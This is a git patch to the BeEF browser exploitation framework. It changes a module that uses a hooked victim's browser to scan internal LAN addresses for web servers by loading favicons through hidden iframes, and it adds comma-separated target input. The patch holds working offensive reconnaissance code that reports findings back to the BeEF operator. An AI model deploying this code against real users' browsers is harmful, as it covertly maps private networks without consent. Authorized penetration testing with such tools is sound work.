From 8cc5e8b236899e28a44475d6366ca217058d045c Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 9 Apr 2016 06:36:28 +0000 Subject: [PATCH] Allow comma separated list of IPs and ranges as input --- arerules/lan_http_scan.json | 2 +- arerules/lan_http_scan_common.json | 2 +- .../ui/panel/tabs/ZombieTabNetwork.js | 12 +- modules/network/get_http_servers/command.js | 127 +++++++++++------- modules/network/get_http_servers/config.yaml | 2 +- modules/network/get_http_servers/module.rb | 2 +- 6 files changed, 91 insertions(+), 56 deletions(-) diff --git a/arerules/lan_http_scan.json b/arerules/lan_http_scan.json index ed87bbe05..c1ab7666d 100644 --- a/arerules/lan_http_scan.json +++ b/arerules/lan_http_scan.json @@ -14,7 +14,7 @@ "condition": "status==1", "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { - "ipRange":"<>", + "rhosts":"<>", "ports":"80,8080", "threads":"3", "wait":"5", diff --git a/arerules/lan_http_scan_common.json b/arerules/lan_http_scan_common.json index d0bfce7ae..87ebd5e02 100644 --- a/arerules/lan_http_scan_common.json +++ b/arerules/lan_http_scan_common.json @@ -9,7 +9,7 @@ "condition": null, "code": null, "options": { - "ipRange":"common", + "rhosts":"common", "ports":"80,8080", "threads":"3", "wait":"5", diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js index 3112f26bc..378b9a8b7 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js @@ -293,7 +293,7 @@ ZombieTab_Network = function(zombie) { commands_statusbar.update_sending('Favicon scanning commonly used local area network IP addresses for web servers [ports: '+ports+'] ...'); $jwterm.ajax({ contentType: 'application/json', - data: JSON.stringify({"ipRange":"common","ports":ports}), + data: JSON.stringify({"rhosts":"common","ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, @@ -311,7 +311,7 @@ ZombieTab_Network = function(zombie) { text: 'Specify IP Range', iconCls: 'network-host-ctxMenu-config', handler: function() { - var ip_range = prompt("Enter IP range to scan:", '192.168.1.1-192.168.1.254'); + var ip_range = prompt("Enter IPs to scan:", '192.168.1.1-192.168.1.254'); if (!ip_range) { commands_statusbar.update_fail('Cancelled'); return; @@ -326,7 +326,7 @@ ZombieTab_Network = function(zombie) { commands_statusbar.update_sending('Favicon scanning ' + ip_range + ' for web servers...'); $jwterm.ajax({ contentType: 'application/json', - data: JSON.stringify({"ipRange":ip_range,"ports":ports}), + data: JSON.stringify({"rhosts":ip_range,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, @@ -567,7 +567,7 @@ ZombieTab_Network = function(zombie) { commands_statusbar.update_sending('Favicon scanning ' + ip + ' for HTTP servers [ports: '+ports+'] ...'); $jwterm.ajax({ contentType: 'application/json', - data: JSON.stringify({"ipRange":ip+'-'+ip,"ports":ports}), + data: JSON.stringify({"rhosts":ip,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, @@ -738,7 +738,7 @@ ZombieTab_Network = function(zombie) { commands_statusbar.update_sending('Favicon scanning ' + ip + ' for HTTP servers [ports: '+ports+'] ...'); $jwterm.ajax({ contentType: 'application/json', - data: JSON.stringify({"ipRange":ip+'-'+ip,"ports":ports}), + data: JSON.stringify({"rhosts":ip,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, @@ -765,7 +765,7 @@ ZombieTab_Network = function(zombie) { commands_statusbar.update_sending('Favicon scanning ' + ip_range + ' for HTTP servers [ports: '+ports+'] ...'); $jwterm.ajax({ contentType: 'application/json', - data: JSON.stringify({"ipRange":ip_range,"ports":ports}), + data: JSON.stringify({"rhosts":ip_range,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, diff --git a/modules/network/get_http_servers/command.js b/modules/network/get_http_servers/command.js index 54ff5697f..6215a05d4 100644 --- a/modules/network/get_http_servers/command.js +++ b/modules/network/get_http_servers/command.js @@ -6,29 +6,62 @@ beef.execute(function() { + var ips = "<%= @rhosts %>"; + var ports = "<%= @ports %>"; + var timeout = parseInt("<%= @timeout %>", 10)*1000; + var wait = parseInt("<%= @wait %>", 10)*1000; + var threads = parseInt("<%= @threads %>", 10); + var urls = new Array('/favicon.ico', '/favicon.png', '/images/favicon.ico', '/images/favicon.png'); + if(beef.browser.isO()) { - beef.debug("[command #<%= @command_id %>] Browser is not supported."); + beef.debug("[Favicon Scanner] Browser is not supported."); beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error()); return; } - var ips = new Array(); - var proto = 'http'; - var ipRange = "<%= @ipRange %>"; - var ports = "<%= @ports %>"; - var timeout = "<%= @timeout %>"; - var wait = "<%= @wait %>"; - var threads = "<%= @threads %>"; - var urls = new Array('/favicon.ico', '/favicon.png', '/images/favicon.ico', '/images/favicon.png'); + var sort_unique = function (arr) { + arr = arr.sort(function (a, b) { return a*1 - b*1; }); + var ret = [arr[0]]; + for (var i = 1; i < arr.length; i++) { + if (arr[i-1] !== arr[i]) { + ret.push(arr[i]); + } + } + return ret; + } // set target ports - if (ports != null) { - ports = ports.split(','); + var is_valid_port = function(port) { + if (isNaN(port)) return false; + if (port > 65535 || port < 0) return false; + return true; + } + ports = ports.split(','); + var target_ports = new Array(); + for (var i=0; i", <%= @command_id %>, "fail=no ports specified", beef.are.status_error()); + return; } // set target IP addresses - if (ipRange == 'common') { - // use default IPs + var is_valid_ip = function(ip) { + if (ip == null) return false; + var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); + if (ip_match == null) return false; + return true; + } + var is_valid_ip_range = function(ip_range) { + if (ip_range == null) return false; + var range_match = ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); + if (range_match == null || range_match[1] == null) return false; + return true; + } + if (ips == 'common') { ips = [ '192.168.0.1', '192.168.0.100', @@ -45,27 +78,31 @@ beef.execute(function() { '192.168.123.1', '192.168.123.254', '192.168.10.1', - '192.168.10.254' - ]; + '192.168.10.254' ]; } else { - // set target IP range - var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); - if (range == null || range[1] == null) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); - return; + ips = ips.split(','); + var target_ips = new Array(); + for (var i=0; i", <%= @command_id %>, "fail=malformed target IP address(es) supplied", beef.are.status_error()); + return; } } + // request the specified paths from the specified URL + // and report all live URLs back to BeEF checkFavicon = function(proto, ip, port, uri) { var img = new Image; var dom = beef.dom.createInvisibleIframe(); @@ -85,16 +122,15 @@ beef.execute(function() { dom.contentWindow.document.execCommand("Stop", false); } document.body.removeChild(dom); - }, timeout*1000); + }, timeout); } - WorkerQueue = function(frequency) { - + // configure workers + WorkerQueue = function(id, frequency) { var stack = []; var timer = null; var frequency = frequency; var start_scan = (new Date).getTime(); - this.process = function() { var item = stack.shift(); eval(item); @@ -102,33 +138,32 @@ beef.execute(function() { clearInterval(timer); timer = null; var interval = (new Date).getTime() - start_scan; - beef.debug("[Favicon Scanner] Worker queue is complete ["+interval+" ms]"); + beef.debug("[Favicon Scanner] Worker #"+id+" has finished ["+interval+" ms]"); return; } } - this.queue = function(item) { stack.push(item); - if (timer === null) { - timer = setInterval(this.process, frequency); - } + if (timer === null) timer = setInterval(this.process, frequency); } - } - // create worker queue + // create workers var workers = new Array(); - for (w=0; w < threads; w++) { - workers.push(new WorkerQueue(wait*1000)); - } + for (var id = 0; id < threads; id++) workers.push(new WorkerQueue(id, wait)); - // for each favicon path + // for each favicon path: for (var u=0; u < urls.length; u++) { var worker = workers[u % threads]; - // for each LAN IP address + // for each LAN IP address: for (var i=0; i < ips.length; i++) { + // for each port: for (var p=0; p < ports.length; p++) { - worker.queue('checkFavicon("'+proto+'","'+ips[i]+'","'+ports[p]+'","'+urls[u]+'");'); + var host = ips[i]; + var port = ports[p]; + if (port == '443') var proto = 'https'; else var proto = 'http'; + // add URL to worker queue + worker.queue('checkFavicon("'+proto+'","'+host+'","'+port+'","'+urls[u]+'");'); } } } diff --git a/modules/network/get_http_servers/config.yaml b/modules/network/get_http_servers/config.yaml index ccd4b1923..d6a01eb2f 100644 --- a/modules/network/get_http_servers/config.yaml +++ b/modules/network/get_http_servers/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: "Network" name: "Get HTTP Servers (Favicon)" - description: "Attempts to discover HTTP servers on the specified IP range by checking for a favicon.

Note: set the IP address range to 'common' to scan a list of common LAN addresses." + description: "Attempts to discover HTTP servers on the specified IP range by checking for a favicon.

Note: You can specify multiple remote IP addresses (separated by commas) or a range of IP addresses for a class C network (10.1.1.1-10.1.1.254). Set the IP address to 'common' to scan a list of common LAN addresses." authors: ["bcoles"] target: user_notify: ["FF", "IE", "C", "S", "MI", "OD"] diff --git a/modules/network/get_http_servers/module.rb b/modules/network/get_http_servers/module.rb index 656214ebe..56db9ea87 100644 --- a/modules/network/get_http_servers/module.rb +++ b/modules/network/get_http_servers/module.rb @@ -8,7 +8,7 @@ class Get_http_servers < BeEF::Core::Command def self.options return [ - {'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254'}, + {'name' => 'rhosts', 'ui_label' => 'Remote IP(s)', 'value' => 'common'}, {'name' => 'ports', 'ui_label' => 'Ports', 'value' => '80,8080'}, {'name' => 'threads', 'ui_label' => 'Workers', 'value' => '3'}, {'name' => 'wait', 'ui_label' => 'Wait (s) between each request for each worker', 'value' => '5'},